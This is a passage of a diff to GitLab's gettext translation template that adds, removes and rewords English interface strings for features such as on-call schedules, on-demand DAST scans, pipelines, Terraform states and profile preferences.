msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18772,6 +19204,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18787,9 +19246,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18814,9 +19270,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18829,6 +19282,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18838,7 +19297,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18862,9 +19321,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18946,6 +19402,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19012,9 +19471,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19060,6 +19516,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19216,6 +19675,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19330,6 +19792,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19354,9 +19819,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19621,6 +20083,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19729,9 +20194,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19777,6 +20239,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19789,6 +20254,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19798,6 +20266,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20023,6 +20497,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20032,9 +20509,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20197,18 +20671,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20218,9 +20686,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20242,9 +20707,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20299,6 +20761,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20428,6 +20893,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20437,6 +20920,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20467,6 +20953,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20824,9 +21313,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21079,7 +21565,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21121,6 +21610,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21181,9 +21673,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21205,6 +21694,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21274,6 +21769,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21655,6 +22153,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21970,6 +22471,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22123,6 +22627,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22207,9 +22714,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22285,6 +22789,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22312,9 +22819,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22519,9 +23023,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22537,15 +23038,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22624,6 +23122,15 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22657,6 +23164,12 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22708,6 +23221,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22738,12 +23254,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22771,6 +23293,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22804,10 +23329,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22927,12 +23452,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23059,6 +23590,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23098,6 +23632,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23119,6 +23656,9 @@ msgstr[2] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23188,6 +23728,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23251,12 +23794,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23284,9 +23821,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23389,12 +23923,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23413,7 +23941,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23470,15 +23998,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23581,6 +24103,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23620,9 +24145,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23713,6 +24235,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23899,6 +24424,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24064,6 +24592,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24181,9 +24715,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24526,12 +25057,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24574,21 +25099,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24607,6 +25141,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24703,9 +25240,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24760,13 +25294,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24796,6 +25333,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24892,10 +25432,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24946,6 +25489,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25057,9 +25603,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25105,7 +25648,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25186,10 +25729,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25471,10 +26017,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25498,6 +26044,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25615,9 +26164,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25777,6 +26323,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25945,6 +26503,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25954,6 +26515,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26002,6 +26566,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26176,6 +26743,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26344,9 +26914,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26386,6 +26953,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26398,24 +26968,48 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26437,6 +27031,12 @@ msgstr[2] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26464,6 +27064,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26494,6 +27097,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26590,9 +27196,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26602,10 +27205,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26674,9 +27277,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26719,6 +27319,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26767,6 +27370,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26812,6 +27421,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26923,6 +27535,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26932,7 +27547,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26944,9 +27559,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26962,6 +27574,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
